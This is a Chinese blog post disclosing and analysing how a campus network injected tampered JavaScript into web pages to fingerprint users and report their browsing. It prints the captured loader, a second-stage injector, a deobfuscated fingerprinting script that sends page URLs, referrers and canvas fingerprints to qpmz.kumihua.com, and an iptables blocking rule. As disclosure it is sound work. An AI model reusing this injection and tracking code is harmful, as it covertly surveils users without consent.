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校园网劫持 JS 追踪用户的技术分享

2017 年 11 月 30 日 • 技术流

本校校园网之前会通过注入 jQuery 一类的 JavaScript 文件，采集用户指纹，并分享网页访问行为数据到某第三方网站（即便它与学校有关联），这个行为是在前端公开可查的。本问题于2017年11月12日反馈给校园网官方，于更早之前发现并开始研究。在临近发文之时，没有观察到这个问题重现。后来又观察到问题重现，只是频率显著减少。

本文从技术角度作一些分享和分析。

问题简述

当校园网用户访问一些网站时，可能会被加载出非预期的脚本文件，导致用户指纹和网页访问行为分享给第三方。这时用户从表明上感受几乎感受不到异常。

如果用户开启了一些广告/隐私过滤器，则可能拦截注入脚本，使得原本该加载的 jQuery 等脚本不能加载，导致网页效果不正常。

技术说明

如访问网站 http://it360.org.cn/，其会加载一些 .js 文件，比如 j-1.10.2.min.js、jquery-2.1.4.min.js 和 jquery.cookie.js。在校园网环境下，会有一个 JS 被劫持（在此例中被劫持的文件不固定，并且可能不止一个），而返回被篡改的内容，如下图：

图1

被篡改的内容如果正常执行，会去请求含正常内容的 JS 文件，地址为 http://ssp.coostack.com/common/api/v1.0/src_script/?path=***，其中星号代表原 JS 文件网址。

图2

因而如果这些被顺利加载，网站的效果并不会有所改变。但是被篡改的内容执行后在页面执行了另一个 JS 脚本，后者继续向页面注入 JS，最终会将用户的用户访问行为连带指纹一同发送给域名为 qpmz.kumihua.com 的服务器。部分恶意代码如下：

图3

其他观察到劫持现象的部分网站有：

其中有像腾讯网这样的大站，也有小站，甚至学校官网本身也受到“礼遇”。

部分被劫持的文件有：（劫持前地址）

发现是访问带有 jQuery（或相关）脚本的网页时会这样，暂不清楚明确的规则。其中有些不是 jQuery 文件，有些是。有些不好复现，有些复现率几乎是百分之百。有意思的是，直接访问 JS 文件，并不能观察到劫持现象，必须是在网页中加载的才会。

鉴于 jQuery 是一个使用相当广泛的框架，不少网页都用到它，这个问题也比较严重。

根据域名涉及到的网站的 UI 来看，个人认为这个 JS 劫持问题与学校的缓存服务器供应商有着密切的联系。www.coostack.com 的页面署名为北京艾迪云思技术有限责任公司。

资料共享

被劫持后脚本内容的实例

这个例子展现的是原来地址为 http://think.lenovo.com.cn/v/js/jquery-1.7.2.min.js 的脚本在加载时被劫持，返回了如下内容：

var sourceScriptURI = 'http://think.lenovo.com.cn/v/js/jquery-1.7.2.min.js';
(function() {
    var evalGloble = eval;
    var _loader = function(uri) {
        if (!top || !this) {
            return setTimeout(arguments.callee, 50);
        }
        if (top != this) {
            return;
        }

        var s = window.top.document.createElement('script');
        s.src = uri;
        s.type = 'text/javascript';
        s.charset = 'utf-8';
        s.async = 'true';
        window.top.document.body.appendChild(s);
    };

    var evalSrcScript = function(uri) {
        var url = "http://ssp.coostack.com/common/api/v1.0/src_script/?path=" + encodeURIComponent(uri);
        var xhr = new XMLHttpRequest();
        xhr.open('GET', url, false);
        xhr.setRequestHeader("X-Page-Charset", document.charset);
        xhr.send();
        try {
            evalGloble(xhr.responseText);
        } catch(error) {}
    };

    var getCurrentScript = function(sourceScriptURI) {
        var scripts = document.getElementsByTagName('script');
        for (var i = 0; i < scripts.length; ++i) {
            if (scripts[i].src == sourceScriptURI) return scripts[i];
        }
    };

    var _looper, injection;
    var _loop = function() {
        switch (document.readyState) {
            case 'loading':
                break;
            case 'interactive':
            case 'complete':
                clearInterval(_looper);
                if (window.__COODAGLIFE__ === undefined) {
                    _loader(injectionScriptURI + trim(publisherID) + "/");
                    localStorage.COODAG_SERUM_IC = injectionScriptURI;
                    window.__COODAGLIFE__ = true;
                }
                break;
            default:
                clearInterval(_looper);
                break;
        }
    };

    var inject = function() {
        _looper = setInterval(_loop, 50);
    };

    function trim(s){
        return s.replace(/(^\s*)|(\s*$)/g, "");
    }

    var publisherID = 'cadb0cc5-97ce-41db-9550-639d703b050c';
    var injectionScriptURI = "http://ssp.coostack.com/common/api/v1.0/slot-code/publisher/";
    //var currentScript = getCurrentScript(sourceScriptURI);
    if (true) {
        evalSrcScript(sourceScriptURI);
    }

    inject();
})();

进一步加载的脚本之内容

上述例子会再度执行一个脚本，网址为 http://ssp.coostack.com/common/api/v1.0/slot-code/publisher/cadb0cc5-97ce-41db-9550-639d703b050c/，内容如下：

(function () {
    if (!document.body) return setTimeout(arguments.callee, 50);
    
        var e = document.createElement("script");
        e.type = "text/javascript";
        e.text += '_slot_id = "6db1f967-5bb9-4253-ad45-338102be990e";';
        document.body.insertBefore(e, document.body.children.item(0));
    
    var e = document.createElement("script");
    e.src = "http://qpmz.kumihua.com/static/sl/sl.js?v=94b962cc8e7d388a1a99cc249517bd8d";
    e.type = "text/javascript";
    e.async = true;
    document.body.insertBefore(e, document.body.children.item(0));
})();

再度注入之脚本

这里是关键部分。从上面看，脚本的网址显然是 http://qpmz.kumihua.com/static/sl/sl.js?v=94b962cc8e7d388a1a99cc249517bd8d。源代码经过了混淆压缩，这里进行了代码美化整理：

(function(b, c, a) {
    c[b] = a()
})("Fingerprint", this, function() {
    var a = function(d) {
            var c, b;
            c = Array.prototype.forEach;
            b = Array.prototype.map;
            this.each = function(k, j, h) {
                if (k === null) {
                    return
                }
                if (c && k.forEach === c) {
                    k.forEach(j, h)
                } else {
                    if (k.length === +k.length) {
                        for (var g = 0, e = k.length; g < e; g++) {
                            if (j.call(h, k[g], g, k) === {}) {
                                return
                            }
                        }
                    } else {
                        for (var f in k) {
                            if (k.hasOwnProperty(f)) {
                                if (j.call(h, k[f], f, k) === {}) {
                                    return
                                }
                            }
                        }
                    }
                }
            };
            this.map = function(h, g, f) {
                var e = [];
                if (h == null) {
                    return e
                }
                if (b && h.map === b) {
                    return h.map(g, f)
                }
                this.each(h, function(k, i, j) {
                    e[e.length] = g.call(f, k, i, j)
                });
                return e
            };
            if (typeof d == "object") {
                this.hasher = d.hasher;
                this.screen_resolution = d.screen_resolution;
                this.screen_orientation = d.screen_orientation;
                this.canvas = d.canvas;
                this.ie_activex = d.ie_activex
            } else {
                if (typeof d == "function") {
                    this.hasher = d
                }
            }
        };
    a.prototype = {
        get: function() {
            var c = [];
            c.push(navigator.userAgent);
            c.push(navigator.language);
            c.push(screen.colorDepth);
            if (this.screen_resolution) {
                var b = this.getScreenResolution();
                if (typeof b !== "undefined") {
                    c.push(b.join("x"))
                }
            }
            c.push(new Date().getTimezoneOffset());
            c.push(this.hasSessionStorage());
            c.push(this.hasLocalStorage());
            c.push(this.hasIndexDb());
            if (document.body) {
                c.push(typeof(document.body.addBehavior))
            } else {
                c.push(typeof undefined)
            }
            c.push(typeof(window.openDatabase));
            c.push(navigator.cpuClass);
            c.push(navigator.platform);
            c.push(navigator.doNotTrack);
            c.push(this.getPluginsString());
            if (this.canvas && this.isCanvasSupported()) {
                c.push(this.getCanvasFingerprint())
            }
            if (this.hasher) {
                return this.hasher(c.join("###"), 31)
            } else {
                return this.murmurhash3_32_gc(c.join("###"), 31)
            }
        },
        murmurhash3_32_gc: function(j, f) {
            var k, l, h, b, e, c, g, d;
            k = j.length & 3;
            l = j.length - k;
            h = f;
            e = 3432918353;
            c = 461845907;
            d = 0;
            while (d < l) {
                g = ((j.charCodeAt(d) & 255)) | ((j.charCodeAt(++d) & 255) << 8) | ((j.charCodeAt(++d) & 255) << 16) | ((j.charCodeAt(++d) & 255) << 24);
                ++d;
                g = ((((g & 65535) * e) + ((((g >>> 16) * e) & 65535) << 16))) & 4294967295;
                g = (g << 15) | (g >>> 17);
                g = ((((g & 65535) * c) + ((((g >>> 16) * c) & 65535) << 16))) & 4294967295;
                h ^= g;
                h = (h << 13) | (h >>> 19);
                b = ((((h & 65535) * 5) + ((((h >>> 16) * 5) & 65535) << 16))) & 4294967295;
                h = (((b & 65535) + 27492) + ((((b >>> 16) + 58964) & 65535) << 16))
            }
            g = 0;
            switch (k) {
            case 3:
                g ^= (j.charCodeAt(d + 2) & 255) << 16;
            case 2:
                g ^= (j.charCodeAt(d + 1) & 255) << 8;
            case 1:
                g ^= (j.charCodeAt(d) & 255);
                g = (((g & 65535) * e) + ((((g >>> 16) * e) & 65535) << 16)) & 4294967295;
                g = (g << 15) | (g >>> 17);
                g = (((g & 65535) * c) + ((((g >>> 16) * c) & 65535) << 16)) & 4294967295;
                h ^= g
            }
            h ^= j.length;
            h ^= h >>> 16;
            h = (((h & 65535) * 2246822507) + ((((h >>> 16) * 2246822507) & 65535) << 16)) & 4294967295;
            h ^= h >>> 13;
            h = ((((h & 65535) * 3266489909) + ((((h >>> 16) * 3266489909) & 65535) << 16))) & 4294967295;
            h ^= h >>> 16;
            return h >>> 0
        },
        hasLocalStorage: function() {
            try {
                return !!window.localStorage
            } catch (b) {
                return true
            }
        },
        hasSessionStorage: function() {
            try {
                return !!window.sessionStorage
            } catch (b) {
                return true
            }
        },
        hasIndexDb: function() {
            try {
                return !!window.indexedDB
            } catch (b) {
                return true
            }
        },
        isCanvasSupported: function() {
            var b = document.createElement("canvas");
            return !!(b.getContext && b.getContext("2d"))
        },
        isIE: function() {
            if (navigator.appName === "Microsoft Internet Explorer") {
                return true
            } else {
                if (navigator.appName === "Netscape" && /Trident/.test(navigator.userAgent)) {
                    return true
                }
            }
            return false
        },
        getPluginsString: function() {
            if (this.isIE() && this.ie_activex) {
                return this.getIEPluginsString()
            } else {
                return this.getRegularPluginsString()
            }
        },
        getRegularPluginsString: function() {
            return this.map(navigator.plugins, function(c) {
                var b = this.map(c, function(d) {
                    return [d.type, d.suffixes].join("~")
                }).join(",");
                return [c.name, c.description, b].join("::")
            }, this).join(";")
        },
        getIEPluginsString: function() {
            if (window.ActiveXObject) {
                var b = ["ShockwaveFlash.ShockwaveFlash", "AcroPDF.PDF", "PDF.PdfCtrl", "QuickTime.QuickTime", "rmocx.RealPlayer G2 Control", "rmocx.RealPlayer G2 Control.1", "RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)", "RealVideo.RealVideo(tm) ActiveX Control (32-bit)", "RealPlayer", "SWCtl.SWCtl", "WMPlayer.OCX", "AgControl.AgControl", "Skype.Detection"];
                return this.map(b, function(c) {
                    try {
                        new ActiveXObject(c);
                        return c
                    } catch (d) {
                        return null
                    }
                }).join(";")
            } else {
                return ""
            }
        },
        getScreenResolution: function() {
            var b;
            if (this.screen_orientation) {
                b = (screen.height > screen.width) ? [screen.height, screen.width] : [screen.width, screen.height]
            } else {
                b = [screen.height, screen.width]
            }
            return b
        },
        getCanvasFingerprint: function() {
            var d = document.createElement("canvas");
            var c = d.getContext("2d");
            var b = "http://valve.github.io";
            c.textBaseline = "top";
            c.font = "14px 'Arial'";
            c.textBaseline = "alphabetic";
            c.fillStyle = "#f60";
            c.fillRect(125, 1, 62, 20);
            c.fillStyle = "#069";
            c.fillText(b, 2, 15);
            c.fillStyle = "rgba(102, 204, 0, 0.7)";
            c.fillText(b, 4, 17);
            return d.toDataURL()
        }
    };
    return a
});
(function() {
    function o(q) {
        try {
            document.body.insertBefore(b(q), document.body.children.item(0))
        } catch (i) {}
    }
    function b(q) {
        var i = document.createElement("script");
        i.src = q;
        i.async = true;
        i.type = "text/javascript";
        return i
    }
    function h(t, s) {
        var u = document.documentElement.clientWidth;
        var r = document.documentElement.clientHeight;
        var p = "u=" + encodeURIComponent(window.location.href);
        p += "&a=" + Math.random();
        p += "&w=" + u;
        p += "&h=" + r;
        p += "&r=" + encodeURIComponent(document.referrer);
        p += "&uid=" + s;
        for (var q = 0; q < t.length; q++) {
            p += "&d=" + t[q]
        }
        if (true) {
            o("http://qpmz.kumihua.com/common/api/v1.0/al?" + p)
        }
    }
    function n(s) {
        var i = s.innerHTML;
        if (!document.all) {
            return i
        }
        var q = /(\s+\w+)\s*=\s*([^<>"\s]+)(?=[^<>]*\/>)/ig;
        var r = /"'([^'"]*)'"/ig;
        i = i.replace(q, '$1="$2"').replace(r, '"$1"');
        var p = i.replace(/<(\/?)(\w+)([^>]*)>/g, function(u, t, w, v) {
            if (t) {
                return "</" + w.toLowerCase() + ">"
            }
            return ("<" + w.toLowerCase() + v + ">").replace(/=(("[^"]*?")|('[^']*?')|([\w\-\.]+))([\s>])/g, function(D, y, E, C, B, A, x, z) {
                if (B) {
                    return '="' + B + '"' + A
                }
                return D
            })
        });
        return p.replace(/<\/?([^>]+)>/g, function(t) {
            return t
        })
    }
    var k = new Fingerprint({
        ie_activex: true
    }).get();
    var m = /^_slot_id\s*=\s*"[\w-]+"/;
    var l = new Array();
    if (!-[1, ]) {
        var a = new RegExp("<script[^>]*>(.*?)<\/script>", "g");
        var j = n(document.body).match(a);
        for (var g = 0; g < j.length; g++) {
            var f = j[g].indexOf(">");
            var e = j[g].lastIndexOf("<");
            var d = j[g].substring(f + 1, e);
            if (d.match(m)) {
                l.push(d.split('"')[1])
            }
        }
    } else {
        var c = document.getElementsByTagName("script");
        for (var g = 0; g < c.length; g++) {
            if (c[g].innerHTML.match(m)) {
                l.push(c[g].innerHTML.split('"')[1])
            }
        }
    }
    h(l, k)
})();

脚本收集了用户正在浏览的网页地址，和来源网址（Referrer），并采集指纹。在采集指纹时，可以看出考虑了客户端屏幕尺寸、浏览器插件，用上了 LocalStorage、Canvas Fingerprint 等前沿的追踪技术。最后将用户指纹、屏幕尺寸、访问网页和来源页等参数汇集，以 GET 请求发送给 http://qpmz.kumihua.com/common/api/v1.0/al。

解决方案

用户可以在使用校园网浏览网页时，使用私密隧道保证安全性。也可尽量访问 HTTPS 的网站。使用如隐私獾（Privacy Badger）之类的智能隐私过滤器也是极好的。除了这些通用的方案，实测以下防火墙规则是有效的：

iptables -I FORWARD -p tcp --sport 80 --tcp-flags ACK ACK -m string --algo bm --string "var url = \" http://ssp.coostack.com/common/ " -j DROP

临近发文之时，已未观察到问题重现，应该是学校解决好了，大家不用担心了。12月3日补充：又观察到问题重现，看起来并没有妥善解决，留给各位判断。

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最后编辑于: 2017 年 12 月 03 日
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已有 2 条评论
  1. sakura_lzq sakura_lzq
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    @(滑稽)板凳板凳

    1. Bro.Xu Bro.Xu
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      @sakura_lzq是沙发@(呵呵)